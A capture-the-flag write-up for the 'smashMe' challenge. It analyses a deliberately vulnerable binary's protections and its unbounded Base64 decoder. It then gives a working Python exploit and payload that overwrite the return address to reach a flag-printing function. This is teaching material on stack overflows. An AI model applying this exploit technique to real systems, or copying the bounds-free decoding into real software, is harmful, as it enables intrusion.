6.0 KiB
Smash Me
smashMe is a classic binary exploitation challenge that introduces players to stack-based buffer overflows. The challenge provides a statically linked 64-bit ELF binary and its source code. Players must identify a vulnerability in a custom Base64 decoding implementation and redirect the program's execution to a "win" function that prints the flag.
Information Gathering
Binary Protections
We can analyze the binary's security features using standard command-line tools like file and readelf.
1. Static Linking and No-PIE
Using the file command:
$ file smashMe
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
- Statically linked: All necessary libraries (like
libc) are bundled within the binary. - LSB executable: Since it says "executable" and not "shared object", PIE (Position Independent Executable) is disabled. The binary will load at a fixed base address (
0x400000).
2. NX (No-Execute)
Using readelf to check the stack permissions:
$ readelf -l smashMe | grep -A 1 STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
- The
RWE(Read, Write, Execute) flag indicates that the stack is executable. NX is disabled.
3. Stack Canaries
While a search for symbols might show __stack_chk_fail (due to the statically linked libc), we can verify if the target function uses it by disassembling core_loop:
$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
0000000000401d83 <core_loop>:
...
401d8f: 48 83 ec 50 sub rsp,0x50
...
The absence of any fs:[0x28] references or calls to __stack_chk_fail in the function prologue/epilogue confirms that Stack Canaries are disabled for this function.
These settings make the binary highly susceptible to traditional stack smashing techniques.
Source Code Analysis (vuln.c)
The program reads a Base64 string from the user, decodes it, and prints the result. The core logic resides in core_loop():
void core_loop() {
unsigned char decoded[64];
// Get base64 input
printf("Give me a base64 string: ");
scanf("%s", input);
// Decode
int result = base64_decode(input, decoded);
// ...
}
The base64_decode function decodes data from the global input buffer into the local decoded buffer. However, it lacks any bounds checking on the destination buffer:
int base64_decode(const char *data, unsigned char *output_buffer) {
// ...
for (i = 0, j = 0; i < input_length;) {
// ... (decoding logic)
output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
}
// ...
}
While decoded is only 64 bytes, input can hold up to 2048 bytes, allowing for a significant overflow of the stack frame.
Vulnerability Analysis
The vulnerability is a Stack-based Buffer Overflow. By providing a long Base64-encoded string, we can overwrite local variables, the saved frame pointer (RBP), and the saved return address on the stack.
The program contains a "win" function called print_flag():
void print_flag() {
printf("[!!!] Access Granted. The Return Address was modified.\n [*] FLAG: %s\n", global_flag);
exit(0);
}
Our objective is to hijack the control flow by overwriting the return address of core_loop() with the address of print_flag().
Exploitation Strategy
1. Find the Target Address
Since PIE is disabled, the address of print_flag is constant. Using nm or objdump:
nm smashMe | grep print_flag
# Output: 0000000000401b58 T print_flag
To avoid potential stack alignment issues (such as the movaps instruction requiring a 16-byte aligned stack), we can jump to 0x401b60, which is slightly into the function body after the prologue.
2. Determine the Offset
We must determine the exact distance from the start of the decoded buffer to the return address.
- The
core_loopfunction aligns the stack to 16 bytes (and rsp, 0xfffffffffffffff0) and then subtracts0x50(80 bytes). - The
decodedbuffer is located at the currentrsp. - Due to the stack alignment and subsequent push/sub operations, the distance to the saved return address is 88 bytes (80 bytes for the buffer/alignment + 8 bytes for the saved RBP).
Total offset to Return Address: 88 bytes.
3. Construct the Payload
The payload structure:
- 80 bytes of arbitrary padding (e.g., 'A's).
- 8 bytes to overwrite the saved RBP (e.g., 'B's).
- 8 bytes containing the address
0x401b60(little-endian).
The final raw payload is then Base64-encoded to meet the program's input requirements.
Solution
The following Python script generates the exploit:
import struct
import base64
# Target address of print_flag (skipping prologue)
win_addr = struct.pack('<Q', 0x401b60)
# 80 bytes padding + 8 bytes saved RBP + 8 bytes Return Address
raw_payload = b'A' * 80 + b'B' * 8 + win_addr
# Encode to Base64 as the program expects
print(base64.b64encode(raw_payload).decode())
Running the script gives us the payload:
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
Executing the exploit against the target:
$ nc <host> 1349
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
[!!!] Access Granted. The Return Address was modified.
[*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}
Conclusion
smashMe serves as a fundamental exercise in identifying and exploiting stack-based overflows. It highlights that even when data is transformed (e.g., via Base64), improper handling of buffer lengths can lead to full system compromise.